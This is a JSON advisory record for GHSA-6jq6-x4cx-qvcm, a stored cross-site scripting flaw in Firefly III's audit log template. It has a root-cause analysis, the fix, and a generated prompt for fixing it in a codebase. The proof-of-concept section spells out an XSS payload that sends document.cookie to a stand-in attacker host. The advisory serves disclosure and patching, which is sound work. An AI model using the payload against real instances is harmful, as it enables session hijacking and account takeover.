{"answers":{"affected":"2 open source packages ship an affected version, including grumpydictator/firefly-iii.","exploited":"There is no known exploitation of GHSA-6jq6-x4cx-qvcm in the wild and no public exploit code.","fix":"Upgrade grumpydictator/firefly-iii to 6.6.3 or later.","what":"GHSA-6jq6-x4cx-qvcm is a cross-site scripting vulnerability in grumpydictator/firefly-iii, published on 12 Jun 2026. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for GHSA-6jq6-x4cx-qvcm and fix it if it is affected.\n\nWhat it is: GHSA-6jq6-x4cx-qvcm is a cross-site scripting vulnerability in grumpydictator/firefly-iii, published on 12 Jun 2026. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of GHSA-6jq6-x4cx-qvcm in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- grumpydictator/firefly-iii (Packagist): affected all versions; fixed in 6.6.3\n- grumpydictator/firefly-iii (Packagist): affected all versions; fixed in 6.6.3\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-6jq6-x4cx-qvcm/ (Markdown: https://insights.sbomify.com/GHSA-6jq6-x4cx-qvcm/index.md)","id":"GHSA-6jq6-x4cx-qvcm","markdown":"https://insights.sbomify.com/GHSA-6jq6-x4cx-qvcm/index.md","name":"GHSA-6jq6-x4cx-qvcm","record":{"aliases":[],"analysis":{"component_type":"web_application","fix_type":"patch","impacts":["account_takeover","data_read"],"network_reachable":"yes","non_default_config":false,"product_category":"Firefly III","requires_auth":"low_privilege","summary":"Stored XSS in Firefly III allows attackers to execute arbitrary JavaScript in victims' browsers via malicious piggy bank names, potentially leading to account takeover.","user_interaction":"required","vuln_class":"xss"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Summary\n\nThe Twig template `resources/views/list/ale.twig` renders the piggy bank name from `AuditLogEntry.after.piggy` using the `|raw` filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.\n\n## Root Cause\n\nThe `|raw` filter is required on the outer `trans()` call to preserve `\u003cspan\u003e` tags in the `amount` parameter (currency styling). However, this also disables escaping for the user-controlled `name` parameter.\n\n**Vulnerable code (`resources/views/list/ale.twig` lines 107, 110):**\n```twig\n{{ trans('firefly.ale_action_log_add', {\n    amount: formatAmountBySymbol(...),\n    name: logEntry.after.piggy\n})|raw }}\n```\n\nNo HTML sanitization at storage time — `PiggyBankStoreRequest` only validates `min:1|max:255|uniquePiggyBankForUser`.\n\n## Data Flow\n\n```\nPOST /api/v1/piggy-banks {\"name\": \"\u003cimg src=x onerror=...\u003e\"}\n  → Stored verbatim in piggy_banks.name\n  → Transaction rule fires add_to_piggy / remove_from_piggy\n  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name\n  → Any user views /transactions/show/{id}\n  → ale.twig outputs unescaped payload → XSS fires\n```\n\n## CSP Note\n\nThe nonce-based CSP (`script-src 'nonce-...' 'strict-dynamic'`) does **not** prevent this attack. Inline event handlers (`onerror`, `onload`) in HTML attributes are governed by `script-src-attr`, which is unrestricted in the current policy. The `\u003cimg onerror=...\u003e` payload bypasses the nonce requirement entirely.\n\n## PoC\n\n1. Authenticate as any user\n2. `POST /api/v1/piggy-banks` with `\"name\": \"\u003cimg src=x onerror=fetch('https://attacker.com?c='+document.cookie)\u003e\"`\n3. Create a rule: action = \"Add money to piggy bank [attacker's piggy bank]\"\n4. Trigger the rule on any transaction\n5. Visit `/transactions/show/{id}` → payload fires\n\n**Confirmed server response (v6.6.2):**\n```html\nAdded \u003cspan class=\"text-success money-positive\"\u003eEUR 50.00\u003c/span\u003e to piggy bank\n\"\u003cimg src=x onerror=alert(document.cookie)\u003e\"\n```\n\n## Impact\n\n- Stored XSS persists in DB — fires for every user who views the transaction\n- Cookie theft → session hijacking\n- In multi-user setups: one user attacks another user or admin\n- Chainable with CSRF-like operations\n\n## Fix\n\nPR #12271 (merged into `develop`): add `|e` to escape only the user-controlled `name` parameter.\n\n```twig\n{{ trans('firefly.ale_action_log_add', {\n    amount: formatAmountBySymbol(...),\n    name: logEntry.after.piggy|e\n})|raw }}\n```","ecosystems":["Packagist"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)","id":"GHSA-6jq6-x4cx-qvcm","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Packagist","product":null,"products":[],"type":"xss","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"Packagist","fixed":["6.6.3"],"introduced":["0"],"last_affected":[],"package":"grumpydictator/firefly-iii","purl":null,"source":"GHSA-6jq6-x4cx-qvcm"},{"ecosystem":"Packagist","fixed":["6.6.3"],"introduced":["0"],"last_affected":[],"package":"grumpydictator/firefly-iii","purl":"pkg:composer/grumpydictator/firefly-iii","source":"GHSA-6jq6-x4cx-qvcm"}],"products":null,"published":"2026-06-12","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Stored XSS in Firefly III allows attackers to execute arbitrary JavaScript in victims' browsers via malicious piggy bank names, potentially leading to account takeover.","url":"https://insights.sbomify.com/GHSA-6jq6-x4cx-qvcm/"}